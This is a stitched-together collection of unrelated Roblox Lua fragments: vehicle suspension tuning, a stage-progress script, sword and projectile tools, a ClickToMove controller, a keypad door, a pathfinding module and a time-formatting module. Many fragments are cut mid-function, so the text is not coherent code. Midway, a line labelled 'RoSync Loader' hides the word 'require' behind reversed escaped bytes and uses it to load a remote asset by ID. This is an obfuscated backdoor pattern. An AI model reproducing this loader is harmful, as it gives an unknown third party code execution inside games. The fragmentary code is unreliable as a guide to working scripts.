Tune.FWsBoneLen = 5 -- Wishbone Length
Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Rear Suspension
Tune.RSusDamping = 500 -- Spring Dampening
Tune.RSusStiffness = 9000 -- Spring Force
Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening)
Tune.RSusLength = 2 -- Suspension length (in studs)
Tune.RPreCompress = .3 -- Pre-compression adds resting length force
Tune.RExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.RCompressLim = .1 -- Max Compression Travel (in studs)
Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 5 -- Wishbone Length
Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Aesthetics
Tune.SusVisible = false -- Spring Visible
Tune.WsBVisible = false -- Wishbone Visible
Tune.SusRadius = .2 -- Suspension Coil Radius
Tune.SusThickness = .1 -- Suspension Coil Thickness
Tune.SusColor = "Bright red" -- Suspension Color [BrickColor]
Tune.SusCoilCount = 6 -- Suspension Coil Count
Tune.WsColor = "Black" -- Wishbone Color [BrickColor]
Tune.WsThickness = .1 -- Wishbone Rod Thickness
|
--
|
local target={}
local stageChunk = script.Parent
local function onPartTouch(otherPart)
warn("1")
local partParent = otherPart.Parent
local humanoid = partParent:FindFirstChildWhichIsA("Humanoid")
if humanoid then
local player = Players:GetPlayerFromCharacter(partParent)
local flag=0
for index = 1, #target do
if (target[index] == player) then
flag=1
end
end
if flag == 0 then
local leaderstats = player.leaderstats
local stageStat = leaderstats and leaderstats:FindFirstChild("Stage")
if stageStat then
stageStat.Value = stageStat.Value + added
table.insert(target, player)
-- обновление данных в базе данных
local stageStore = DataStore2("stage", player)
-- stageStore:Increment(added) -- Give them 1 point
stageStore:Set(stageStore:Get(0) + added )
end
end
end
end
stageChunk.Touched:Connect(onPartTouch)
|
--local MOUSE_ICON = 'rbxasset://textures/GunCursor.png'
--local RELOADING_ICON = 'rbxasset://textures/GunWaitCursor.png'
| |
---[[ Font Settings ]]
|
module.DefaultFont = Enum.Font.RobotoMono
module.ChatBarFont = Enum.Font.RobotoCondensed
|
-- Copied from Grimgold Periastron Beta
|
local Tool = script.Parent
local Sword = Tool.Handle
local GLib = require(206209239)
local vCharacter
local myTorso
local myHumanoid
local equipped = false
local debris = game:GetService("Debris")
function tagHumanoid(humanoid, player)
if humanoid then
local creatorTag = Instance.new("ObjectValue")
creatorTag.Value = player
creatorTag.Name = "creator"
creatorTag.Parent = humanoid
debris:AddItem(creatorTag, 1)
end
end
function UntagHumanoid(humanoid)
for _, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function cut(hit)
local humanoid
local vPlayer
if hit and hit.Parent and myHumanoid then
if hit.Parent:IsA("Accoutrement") then
humanoid = hit.Parent.Parent:FindFirstChildOfClass("Humanoid")
else
humanoid = hit.Parent:FindFirstChildOfClass("Humanoid")
end
vPlayer = game.Players:GetPlayerFromCharacter(vCharacter)
if humanoid and humanoid ~= myHumanoid and not GLib.IsTeammate(GLib.GetPlayerFromPart(Tool), GLib.GetPlayerFromPart(humanoid)) then
UntagHumanoid(humanoid)
tagHumanoid(humanoid, vPlayer)
humanoid:TakeDamage(27)
end
end
end
function onEquipped()
vCharacter = Tool.Parent
myTorso = vCharacter:FindFirstChild("HumanoidRootPart")
myHumanoid = vCharacter:FindFirstChildOfClass("Humanoid")
end
Tool.Equipped:Connect(onEquipped)
Sword.Touched:Connect(cut)
|
--[[Misc]]
|
--
Tune.LoadDelay = 1 -- Delay before initializing chassis (in seconds, increase for more reliable initialization)
Tune.AutoStart = false -- Set to false if using manual ignition plugin
Tune.AutoUpdate = true -- Automatically applies minor updates to the chassis if any are found.
|
--h.Health = h.Health - 0
|
end
end
script.Parent.Touched:connect(onTouched)
|
-- Variables
|
local plrs = game:GetService("Players")
|
-- find player's head pos
|
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
local head = vCharacter:findFirstChild("Head")
if head == nil then return end
local dir = mouse_pos - head.Position
dir = computeDirection(dir)
local pelletCF = CFrame.new(head.Position, head.Position + dir)
local missile = Pellet:clone()
missile.CFrame = pelletCF * offset
local delta = mouse_pos - missile.CFrame.p
local dy = delta.y
local new_delta = Vector3.new(delta.x, 0, delta.z)
delta = new_delta
local dx = delta.magnitude
local unit_delta = delta.unit
-- acceleration due to gravity in RBX units
local g = (1 * 20)
local theta = computeLaunchAngle( dx, dy, g)
local vy = math.sin(theta)
local xz = math.cos(theta)
local vx = unit_delta.x * xz
local vz = unit_delta.z * xz
missile.Velocity = Vector3.new(vx,vy,vz) * VELOCITY * 1.3
missile.PelletScript.Disabled = false
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = vPlayer
creator_tag.Name = "creator"
creator_tag.Parent = missile
missile.Parent = game.Workspace
end
function computeLaunchAngle(dx,dy,grav)
-- arcane
-- http://en.wikipedia.org/wiki/Trajectory_of_a_projectile
local g = math.abs(grav)
local inRoot = (VELOCITY*VELOCITY*VELOCITY*VELOCITY) - (g * ((g*dx*dx) + (2*dy*VELOCITY*VELOCITY)))
if inRoot <= 0 then
return .25 * math.pi
end
local root = math.sqrt(inRoot)
local inATan1 = ((VELOCITY*VELOCITY) + root) / (g*dx)
local inATan2 = ((VELOCITY*VELOCITY) - root) / (g*dx)
local answer1 = math.atan(inATan1)
local answer2 = math.atan(inATan2)
if answer1 < answer2 then return answer1 end
return answer2
end
function computeDirection(vec)
local lenSquared = vec.magnitude * vec.magnitude
local invSqrt = 1 / math.sqrt(lenSquared)
return Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt)
end
Tool.Enabled = true
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
local targetPos = humanoid.TargetPoint
for i=1,1 do
for j=1,1 do
fire(targetPos, CFrame.new(i,j,-5))
end
end
wait(1)
Tool.Enabled = true
end
script.Parent.Activated:connect(onActivated)
|
--[[ The ClickToMove Controller Class ]]
|
--
local KeyboardController = require(script.Parent:WaitForChild("Keyboard"))
local ClickToMove = setmetatable({}, KeyboardController)
ClickToMove.__index = ClickToMove
function ClickToMove.new(CONTROL_ACTION_PRIORITY)
local self = setmetatable(KeyboardController.new(CONTROL_ACTION_PRIORITY), ClickToMove)
self.fingerTouches = {}
self.numUnsunkTouches = 0
-- PC simulation
self.mouse1Down = tick()
self.mouse1DownPos = Vector2.new()
self.mouse2DownTime = tick()
self.mouse2DownPos = Vector2.new()
self.mouse2UpTime = tick()
self.keyboardMoveVector = ZERO_VECTOR3
self.tapConn = nil
self.inputBeganConn = nil
self.inputChangedConn = nil
self.inputEndedConn = nil
self.humanoidDiedConn = nil
self.characterChildAddedConn = nil
self.onCharacterAddedConn = nil
self.characterChildRemovedConn = nil
self.renderSteppedConn = nil
self.menuOpenedConnection = nil
self.running = false
self.wasdEnabled = false
return self
end
function ClickToMove:DisconnectEvents()
DisconnectEvent(self.tapConn)
DisconnectEvent(self.inputBeganConn)
DisconnectEvent(self.inputChangedConn)
DisconnectEvent(self.inputEndedConn)
DisconnectEvent(self.humanoidDiedConn)
DisconnectEvent(self.characterChildAddedConn)
DisconnectEvent(self.onCharacterAddedConn)
DisconnectEvent(self.renderSteppedConn)
DisconnectEvent(self.characterChildRemovedConn)
DisconnectEvent(self.menuOpenedConnection)
end
function ClickToMove:OnTouchBegan(input, processed)
if self.fingerTouches[input] == nil and not processed then
self.numUnsunkTouches = self.numUnsunkTouches + 1
end
self.fingerTouches[input] = processed
end
function ClickToMove:OnTouchChanged(input, processed)
if self.fingerTouches[input] == nil then
self.fingerTouches[input] = processed
if not processed then
self.numUnsunkTouches = self.numUnsunkTouches + 1
end
end
end
function ClickToMove:OnTouchEnded(input, processed)
if self.fingerTouches[input] ~= nil and self.fingerTouches[input] == false then
self.numUnsunkTouches = self.numUnsunkTouches - 1
end
self.fingerTouches[input] = nil
end
function ClickToMove:OnCharacterAdded(character)
self:DisconnectEvents()
self.inputBeganConn = UserInputService.InputBegan:Connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
self:OnTouchBegan(input, processed)
end
-- Cancel path when you use the keyboard controls if wasd is enabled.
if self.wasdEnabled and processed == false and input.UserInputType == Enum.UserInputType.Keyboard
and movementKeys[input.KeyCode] then
CleanupPath()
ClickToMoveDisplay.CancelFailureAnimation()
end
if input.UserInputType == Enum.UserInputType.MouseButton1 then
self.mouse1DownTime = tick()
self.mouse1DownPos = input.Position
end
if input.UserInputType == Enum.UserInputType.MouseButton2 then
self.mouse2DownTime = tick()
self.mouse2DownPos = input.Position
end
end)
self.inputChangedConn = UserInputService.InputChanged:Connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
self:OnTouchChanged(input, processed)
end
end)
self.inputEndedConn = UserInputService.InputEnded:Connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
self:OnTouchEnded(input, processed)
end
if input.UserInputType == Enum.UserInputType.MouseButton2 then
self.mouse2UpTime = tick()
local currPos: Vector3 = input.Position
-- We allow click to move during path following or if there is no keyboard movement
local allowed = ExistingPather or self.keyboardMoveVector.Magnitude <= 0
if self.mouse2UpTime - self.mouse2DownTime < 0.25 and (currPos - self.mouse2DownPos).magnitude < 5 and allowed then
local positions = {currPos}
OnTap(positions)
end
end
end)
self.tapConn = UserInputService.TouchTap:Connect(function(touchPositions, processed)
if not processed then
OnTap(touchPositions, nil, true)
end
end)
self.menuOpenedConnection = GuiService.MenuOpened:Connect(function()
CleanupPath()
end)
local function OnCharacterChildAdded(child)
if UserInputService.TouchEnabled then
if child:IsA('Tool') then
child.ManualActivationOnly = true
end
end
if child:IsA('Humanoid') then
DisconnectEvent(self.humanoidDiedConn)
self.humanoidDiedConn = child.Died:Connect(function()
if ExistingIndicator then
DebrisService:AddItem(ExistingIndicator.Model, 1)
end
end)
end
end
self.characterChildAddedConn = character.ChildAdded:Connect(function(child)
OnCharacterChildAdded(child)
end)
self.characterChildRemovedConn = character.ChildRemoved:Connect(function(child)
if UserInputService.TouchEnabled then
if child:IsA('Tool') then
child.ManualActivationOnly = false
end
end
end)
for _, child in pairs(character:GetChildren()) do
OnCharacterChildAdded(child)
end
end
function ClickToMove:Start()
self:Enable(true)
end
function ClickToMove:Stop()
self:Enable(false)
end
function ClickToMove:CleanupPath()
CleanupPath()
end
function ClickToMove:Enable(enable: boolean, enableWASD: boolean, touchJumpController)
if enable then
if not self.running then
if Player.Character then -- retro-listen
self:OnCharacterAdded(Player.Character)
end
self.onCharacterAddedConn = Player.CharacterAdded:Connect(function(char)
self:OnCharacterAdded(char)
end)
self.running = true
end
self.touchJumpController = touchJumpController
if self.touchJumpController then
self.touchJumpController:Enable(self.jumpEnabled)
end
else
if self.running then
self:DisconnectEvents()
CleanupPath()
-- Restore tool activation on shutdown
if UserInputService.TouchEnabled then
local character = Player.Character
if character then
for _, child in pairs(character:GetChildren()) do
if child:IsA('Tool') then
child.ManualActivationOnly = false
end
end
end
end
self.running = false
end
if self.touchJumpController and not self.jumpEnabled then
self.touchJumpController:Enable(true)
end
self.touchJumpController = nil
end
-- Extension for initializing Keyboard input as this class now derives from Keyboard
if UserInputService.KeyboardEnabled and enable ~= self.enabled then
self.forwardValue = 0
self.backwardValue = 0
self.leftValue = 0
self.rightValue = 0
self.moveVector = ZERO_VECTOR3
if enable then
self:BindContextActions()
self:ConnectFocusEventListeners()
else
self:UnbindContextActions()
self:DisconnectFocusEventListeners()
end
end
self.wasdEnabled = enable and enableWASD or false
self.enabled = enable
end
function ClickToMove:OnRenderStepped(dt)
-- Reset jump
self.isJumping = false
-- Handle Pather
if ExistingPather then
-- Let the Pather update
ExistingPather:OnRenderStepped(dt)
-- If we still have a Pather, set the resulting actions
if ExistingPather then
-- Setup move (NOT relative to camera)
self.moveVector = ExistingPather.NextActionMoveDirection
self.moveVectorIsCameraRelative = false
-- Setup jump (but do NOT prevent the base Keayboard class from requesting jumps as well)
if ExistingPather.NextActionJump then
self.isJumping = true
end
else
self.moveVector = self.keyboardMoveVector
self.moveVectorIsCameraRelative = true
end
else
self.moveVector = self.keyboardMoveVector
self.moveVectorIsCameraRelative = true
end
-- Handle Keyboard's jump
if self.jumpRequested then
self.isJumping = true
end
end
|
------------------------------------------------------------------
|
local RocketEnabled = true
local FlareEnabled = true
local BombEnabled = true
local MissileEnabled = true
|
-- Initialize new part tool
|
local NewPartTool = require(CoreTools:WaitForChild 'NewPart')
Core.AssignHotkey('J', Core.Support.Call(Core.EquipTool, NewPartTool));
Core.AddToolButton(Core.Assets.NewPartIcon, 'J', NewPartTool)
|
-- Written 21/07/2021
|
game.StarterGui:SetCoreGuiEnabled("All", false) -- Disable all core guis, including Chat, PlayerList, etc.
|
--local function attack(target)
-- local distance = (TeddyAI.HumanoidRootPart.Position - target.HumanoidRootPart.Position).Magnitude
|
--if distance > 90 then
-- humanoid:MoveTo(target.HumanoidRootPart.Position)
--else
--stop movement
--TeddyAI.Humanoid.WalkSpeed = 0
--target.Humanoid.WalkSpeed = 0
-- play sound
-- TeddyAI.Head.AttackSound:Play()
--fire event
--local events = game.ReplicatedStorage:WaitForChild("Events")
--local player = game.Players:GetPlayerFromCharacter(target)
--events:WaitForChild("playerDeath"):FireClient(player, TeddyAI)
--play the animation
--local attackAnim = humanoid:LoadAnimation(script.AttackAnim)
--attackAnim:Play()
--attackAnim.Stopped:Wait()
--kill the player
--target.Humanoid.Health = 0
--restart movement
--TeddyAI.Humanoid.WalkSpeed = script.Parent.Humanoid.WalkSpeed
--end
|
--!strict
|
local Types = require(script.Parent.Parent.Parent.Types)
local ALL_PLAYERS = { kind = "all", value = nil } :: Types.PlayerContainer
|
--[=[
Destroys the Trove object. Forces `Clean` to run.
]=]
|
function Trove:Destroy()
self:Clean()
end
return Trove
|
------------------------------------------
--Clear And Enter
|
function Clear()
print("Cleared")
Input = ""
end
script.Parent.Clear.ClickDetector.MouseClick:connect(Clear)
function Enter()
if Input == Code then
print("Entered")
Input = ""
local door = script.Parent.Parent.Door
door.CanCollide = false
door.Transparency = door.Transparency + 0.1
wait(0.1)
door.Transparency = door.Transparency + 0.1
wait(0.1)
door.Transparency = door.Transparency + 0.1
wait(0.1)
door.Transparency = door.Transparency + 0.1
wait(0.1)
door.Transparency = door.Transparency + 0.1
wait(0.1)
door.Transparency = door.Transparency + 0.1
wait(0.1)
door.Transparency = door.Transparency + 0.1
wait(0.1)
door.Transparency = 0.8
wait(3)--
door.Transparency = door.Transparency - 0.1
wait(0.1)
door.Transparency = door.Transparency - 0.1
wait(0.1)
door.Transparency = door.Transparency - 0.1
wait(0.1)
door.Transparency = door.Transparency - 0.1
wait(0.1)
door.Transparency = door.Transparency - 0.1
wait(0.1)
door.Transparency = door.Transparency - 0.1
wait(0.1)
door.Transparency = door.Transparency - 0.1
wait(0.1)
door.Transparency = 0
door.CanCollide = true
return end
Input = ""
print("Wrong Code")
end
script.Parent.Enter.ClickDetector.MouseClick:connect(Enter)
|
--// Math
|
local L_132_ = function(L_169_arg1, L_170_arg2, L_171_arg3)
if L_169_arg1 > L_171_arg3 then
return L_171_arg3
elseif L_169_arg1 < L_170_arg2 then
return L_170_arg2
end
return L_169_arg1
end
local L_133_ = L_121_.new(Vector3.new())
L_133_.s = 30
L_133_.d = 0.55
local L_134_ = CFrame.Angles(0, 0, 0)
|
--[[ Last synced 10/19/2020 07:19 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
|
--Fire the WaypointReached event
|
local function invokeWaypointReached(self)
local lastWaypoint = self._waypoints[self._currentWaypoint - 1]
local nextWaypoint = self._waypoints[self._currentWaypoint]
self._events.WaypointReached:Fire(self._agent, lastWaypoint, nextWaypoint)
end
local function moveToFinished(self, reached)
--Stop execution if Path is destroyed
if not getmetatable(self) then return end
--Handle case for non-humanoids
if not self._humanoid then
if reached and self._currentWaypoint + 1 <= #self._waypoints then
invokeWaypointReached(self)
self._currentWaypoint += 1
elseif reached then
self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints)
self._target = nil
self._events.Reached:Fire(self._agent, self._waypoints[self._currentWaypoint])
else
self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints)
self._target = nil
declareError(self, self.ErrorType.TargetUnreachable)
end
return
end
if reached and self._currentWaypoint + 1 <= #self._waypoints then --Waypoint reached
if self._currentWaypoint + 1 < #self._waypoints then
invokeWaypointReached(self)
end
self._currentWaypoint += 1
move(self)
elseif reached then --Target reached, pathfinding ends
disconnectMoveConnection(self)
self._status = Path.StatusType.Idle
self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints)
self._events.Reached:Fire(self._agent, self._waypoints[self._currentWaypoint])
else --Target unreachable
disconnectMoveConnection(self)
self._status = Path.StatusType.Idle
self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints)
declareError(self, self.ErrorType.TargetUnreachable)
end
end
|
--[=[
@param ... any
Fires the signal at _all_ clients with any arguments.
:::note Outbound Middleware
All arguments pass through any outbound middleware before being
sent to the clients.
:::
]=]
|
function RemoteSignal:FireAll(...: any)
self._re:FireAllClients(self:_processOutboundMiddleware(nil, ...))
end
|
-- Stop snapping whenever mouse is released
|
Support.AddUserInputListener('Ended', 'MouseButton1', true, function (Input)
-- Ensure snapping is ongoing
if not SnappingStage then
return;
end;
-- Finish snapping
FinishSnapping();
end);
function FinishSnapping()
-- Cleans up and finalizes the snapping operation
-- Ensure snapping is ongoing
if not SnappingStage then
return;
end;
-- Restore the selection's original state if stage was reached
if SnappingStartSelectionState then
for Part, State in pairs(SnappingStartSelectionState) do
Part:MakeJoints();
Part.CanCollide = State.CanCollide;
Part.Anchored = State.Anchored;
end;
end;
-- Disable any snapping stage
SnappingStage = nil;
-- Stop snap point tracking
SnapTracking.StopTracking();
-- Clear any UI
if DirectionLine then
DirectionLine:Destroy();
DirectionLine = nil;
end;
if AlignmentLine then
AlignmentLine:Destroy();
AlignmentLine = nil;
end;
-- Register any change
if HistoryRecord then
RegisterChange();
end;
-- Disconnect snapping listeners
ClearConnection 'SnapDragStart';
ClearConnection 'SnapDrag';
ClearConnection 'Snap';
ClearConnection 'SnapDragEnd';
end;
function GetFaceOffsetsFromCorner(Part, Point)
-- Returns offsets of the given corner point in the direction of its intersecting faces
local Offsets = {};
-- Go through each face the corner intersects
local Faces = GetFacesFromCorner(Part, Point);
for _, Face in pairs(Faces) do
-- Calculate the offset from the corner in the direction of the face
local FaceOffset = (Vector3.FromNormalId(Face) * Part.Size) / 2;
local Offset = CFrame.new(Point) * CFrame.Angles(Part.CFrame:toEulerAnglesXYZ()) * FaceOffset;
table.insert(Offsets, { Face = Face, Offset = Offset });
end;
-- Return the list of offsets
return Offsets;
end;
function GetFacesFromCorner(Part, Point)
-- Returns the 3 faces that the given corner point intersects
local Faces = {};
-- Get all the face centers of the part
for _, FaceEnum in pairs(Enum.NormalId:GetEnumItems()) do
local Face = Part.CFrame * (Part.Size / 2 * Vector3.FromNormalId(FaceEnum));
-- Get the face's proximity to the point
local Proximity = (Point - Face).magnitude;
-- Keep track of the proximity to the point
table.insert(Faces, { Proximity = Proximity, Face = FaceEnum });
end;
-- Find the closest faces to the point
table.sort(Faces, function (A, B)
return A.Proximity < B.Proximity;
end);
-- Return the 3 closest faces
return { Faces[1].Face, Faces[2].Face, Faces[3].Face };
end;
|
--[[
Hello magnificient user!
This is the Time Formatting Module (TFM) which is the first module by me. I do plan to start a series of modules, so this is
part of the "Crazy Cool Carbyne Collection" (aka Quad-C) (the name of the series). As a fun fact, this module was released on April
Fool's Day!
Anyways, here is the API (it's VERY simple because this is my first module):
__________________________________________________________________________________________________________________________________________
tfm:Convert(integer Seconds, string Form, bool AddZero)
Seconds [MANDATORY] --- provide an integer either as a string or as a number (i.e. 2 or "2", NOT 2.1 or "2.1")
Form [OPTIONAL] --- provide a string that decides how the given seconds will be formatted
Default Form (aka Colon Form):
* displays in the format xx:xx:xx
* acceptable strings - "default" or "colon" in any case (i.e. uppercase is all fine)
* maximum unit is hour, the number displayed can be infinitely large
* this is the form used when you do not provide a string for this parameter
Short Form:
* displays in the format xx yr(s) xx mon xx d xx hr(s) xx min(s) xx sec
* acceptable strings - "short" in any case
* maximum unit is year
* AddZero does NOT apply whatsoever (i.e. this is not possible: 10 min 09 sec)
* adjusts to being plural when need (i.e. minutes when it's greater than 1)
* ONLY yr, hr, min change (please send a request if you want this to be changed)
Full Form:
* displays in the format xx year(s) xx month(s) xx day(s) xx hour(s) xx minute(s) xx second(s)
* acceptable strings - "full" in any case
* maximum unit is year
* AddZero does NOT apply whatsoever
* ajusts to being plural when needed (with ALL units)
AddZero [OPTIONAL] --- provide a boolean value whether you would like to add a zero in front of the biggest unit, for example
setting this to true will display 3720 as 01:02:00 as opposed to false where it's 1:02:00
* by default (if this parameter is not given), this is false
***Currently only applicabale to DEFAULT FORM!***
__________________________________________________________________________________________________________________________________________
NOTE: The order of the parameters matters. If you want to set AddZero, then you must provide Form before that even though it is optional.
That is it for now, as you can see, this module is very simple right now. If you want to:
* request a new feature
* change an exisiting one or
* give a suggestion on how to furthur optimize the module's code (I am not the best scripter, but I am willing to learn!),
You can contact me via a PM on the DevForum.
But, if you want to make minor adjustments that you think will only benefit you, then you are welcome to edit to your desire the script below.
Have a great time unser!
]]
|
local l = string.lower
local min, hr, d, mon, yr, max = "minute", "hour", "day", "month", "year", "max"
local secsInMonth, secsInYear = 2592000, 30672000
local default, colon, short, full = "default", "colon", "short", "full"
local a = {second = " sec ", minute = " min ", hour = " hr ", day = " d ", month = " mon ", year = " yr "}
local ap = {second = "sec ", minute = "mins ", hour = "hrs ", day = "d ", month = "mon ", year = "yrs "}
local f = {second = " second ", minute = " minute ", hour = " hour ", day = " day ", month = " month ", year = " year "}
local fp = {second = " seconds ", minute = " minutes ", hour = " hours ", day = " days ", month = " months ", year = " years "}
local function quickVar(secs, factor)
return (secs - (secs % factor)) / factor
end
local function convert(secs, Form, addZero)
local form
if Form ~= nil then
form = l(Form)
else
form = nil
end
if form == default or form == colon or form == nil then
local remainderMin, remainderSecond, hour, minute = 0, 0, 0, 0
if secs >= 3600 then
remainderMin = secs % 3600
remainderSecond = remainderMin % 60
hour = quickVar(secs, 3600)
minute = quickVar(remainderMin, 60)
elseif secs < 3600 and secs >= 60 then
remainderSecond = secs % 60
minute = quickVar(secs, 60)
else
remainderSecond = secs
minute = 0
end
if hour < 10 and addZero == true then
hour = "0" .. hour
end
if (minute < 10 and secs >= 3600) or (minute < 10 and secs < 3600 and addZero == true) then
minute = "0" .. minute
end
if (remainderSecond < 10 and secs >= 60) then
remainderSecond = "0" .. remainderSecond
end
if secs < 60 then
return secs
elseif secs < 3600 and secs >= 60 then
return minute .. ":" .. remainderSecond
elseif secs >= 3600 then
return hour .. ":" .. minute .. ":" .. remainderSecond
end
elseif form ~= default or form ~= nil or form ~= colon then
if addZero == true then
warn("TFM: Zeros are only togglable for the default form!")
end
local remainderYear, remainderMonth, remainderDay, remainderHour, remainderMin,remainderSecond, year, month, day, hour, minute = 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
local displayMin, displaySec, displayHr, displayDay, displayMon, displayYr
if secs < 60 then
if form == short then
if secs > 1 then displaySec = ap.second else displaySec = a.second end
elseif form == full then
if secs > 1 then displaySec = fp.second else displaySec = f.second end
end
return secs .. displaySec
elseif secs < 3600 then
remainderSecond = secs % 60
minute = quickVar(secs, 60)
if form == short then
if minute > 1 then displayMin = ap.minute else displayMin = a.minute end
if remainderSecond > 1 then displaySec = ap.second else displaySec = a.second end
elseif form == full then
if minute > 1 then displayMin = fp.minute else displayMin = f.minute end
if remainderSecond > 1 then displaySec = fp.second else displaySec = f.second end
end
return minute .. displayMin .. remainderSecond .. displaySec
elseif secs < 86400 and secs >= 3600 then
remainderMin = secs % 3600
remainderSecond = remainderMin % 60
hour = quickVar(secs, 3600)
minute = quickVar(remainderMin, 60)
if form == short then
if hour > 1 then displayHr = ap.hour else displayHr = a.hour end
if minute > 1 then displayMin = ap.minute else displayMin = a.minute end
if remainderSecond > 1 then displaySec = ap.second else displaySec = a.second end
elseif form == full then
if hour > 1 then displayHr = fp.hour else displayHr = f.hour end
if minute > 1 then displayMin = fp.minute else displayMin = f.minute end
if remainderSecond > 1 then displaySec = fp.second else displaySec = f.second end
end
return hour .. displayHr .. minute .. displayMin .. remainderSecond .. displaySec
elseif secs < secsInMonth and secs >= 86400 then
remainderHour = secs % 86400
remainderMin = remainderHour % 3600
remainderSecond = remainderMin % 60
day = quickVar(secs, 86400)
hour = quickVar(remainderHour, 3600)
minute = quickVar(remainderMin, 60)
if form == short then
if day > 1 or day == 0 then displayDay = ap.day else displayDay = a.day end
if hour > 1 or hour == 0 then displayHr = ap.hour else displayHr = a.hour end
if minute > 1 or minute == 0 then displayMin = ap.minute else displayMin = a.minute end
if remainderSecond > 1 or remainderSecond == 0 then displaySec = ap.second else displaySec = a.second end
elseif form == full then
if day > 1 or day == 0 then displayDay = fp.day else displayDay = f.day end
if hour > 1 or hour == 0 then displayHr = fp.hour else displayHr = f.hour end
if minute > 1 or minute == 0 then displayMin = fp.minute else displayMin = f.minute end
if remainderSecond > 1 or remainderSecond == 0 then displaySec = fp.second else displaySec = f.second end
end
return day .. displayDay .. hour .. displayHr .. minute .. displayMin .. remainderSecond .. displaySec
elseif secs < secsInYear and secs >= secsInMonth then
remainderDay = secs % secsInMonth
remainderHour = remainderDay % 86400
remainderMin = remainderHour % 3600
remainderSecond = remainderMin % 60
month = quickVar(secs, secsInMonth)
day = quickVar(remainderDay, 86400)
hour = quickVar(remainderHour, 3600)
minute = quickVar(remainderMin, 60)
if form == short then
if month > 1 or month == 0 then displayMon = ap.month else displayMon = a.month end
if day > 1 or day == 0 then displayDay = ap.day else displayDay = a.day end
if hour > 1 or hour == 0 then displayHr = ap.hour else displayHr = a.hour end
if minute > 1 or minute == 0 then displayMin = ap.minute else displayMin = a.minute end
if remainderSecond > 1 or remainderSecond == 0 then displaySec = ap.second else displaySec = a.second end
elseif form == full then
if month > 1 or month == 0 then displayMon = fp.month else displayMon = f.month end
if day > 1 or day == 0 then displayDay = fp.day else displayDay = f.day end
if hour > 1 or hour == 0 then displayHr = fp.hour else displayHr = f.hour end
if minute > 1 or minute == 0 then displayMin = fp.minute else displayMin = f.minute end
if remainderSecond > 1 or remainderSecond == 0 then displaySec = fp.second else displaySec = f.second end
end
return month .. displayMon .. day .. displayDay .. hour .. displayHr .. minute .. displayMin .. remainderSecond .. displaySec
elseif secs >= secsInYear then
remainderMonth = secs % secsInYear
remainderDay = remainderMonth % secsInMonth
remainderHour = remainderDay % 86400
remainderMin = remainderHour % 3600
remainderSecond = remainderMin % 60
year = quickVar(secs, secsInYear)
month = quickVar(remainderMonth, secsInMonth)
day = quickVar(remainderDay, 86400)
hour = quickVar(remainderHour, 3600)
minute = quickVar(remainderMin, 60)
if form == short then
if year > 1 or year == 0 then displayYr = ap.year else displayYr = a.year end
if month > 1 or month == 0 then displayMon = ap.month else displayMon = a.month end
if day > 1 or day == 0 then displayDay = ap.day else displayDay = a.day end
if hour > 1 or hour == 0 then displayHr = ap.hour else displayHr = a.hour end
if minute > 1 or minute == 0 then displayMin = ap.minute else displayMin = a.minute end
if remainderSecond > 1 or remainderSecond == 0 then displaySec = ap.second else displaySec = a.second end
elseif form == full then
if year > 1 or year == 0 then displayYr = fp.year else displayYr = f.year end
if month > 1 or month == 0 then displayMon = fp.month else displayMon = f.month end
if day > 1 or day == 0 then displayDay = fp.day else displayDay = f.day end
if hour > 1 or hour == 0 then displayHr = fp.hour else displayHr = f.hour end
if minute > 1 or minute == 0 then displayMin = fp.minute else displayMin = f.minute end
if remainderSecond > 1 or remainderSecond == 0 then displaySec = fp.second else displaySec = f.second end
end
return year .. displayYr .. month .. displayMon .. day .. displayDay .. hour .. displayHr .. minute .. displayMin .. remainderSecond .. displaySec
end
end
end
local function checkSec(secs)
if string.find(tostring(secs), "%p") ~= nil then
error("TFM: Given seconds are not in integer form!")
return false
else
return true
end
end
local tfm = {}
function tfm:Convert(secs, form, addZero)
if type(secs) == "number" then
local passed = checkSec(secs)
if passed == false then
return
end
elseif type(secs) == "string" then
if tonumber(secs) ~= nil then
secs = tonumber(secs)
local passed = checkSec(secs)
if passed == true then
secs = tonumber(secs)
else
return
end
else
error("TFM: Given string for seconds is not valid. Please make sure the given string has a number in it!")
return
end
else
error("TFM: Given seconds are not even a number or a valid string!")
return
end
return convert(secs, form, addZero)
end
return tfm
|
--[[
Novena Constraint Type: Motorcycle
The Bike Chassis, Beta Version
Avxnturador | Novena
RikOne2 | Enjin
Please read the README for updates.
--]]
|
local Tune = {}
|
--going back to normal
|
wait(0.03)
weld55.C1 = CFrame.new(-0.35, 0.5, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0.16, math.rad(-90))
wait(0.03)
weld55.C1 = CFrame.new(-0.35, 0.5, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0.10, math.rad(-90))
wait(0.03)
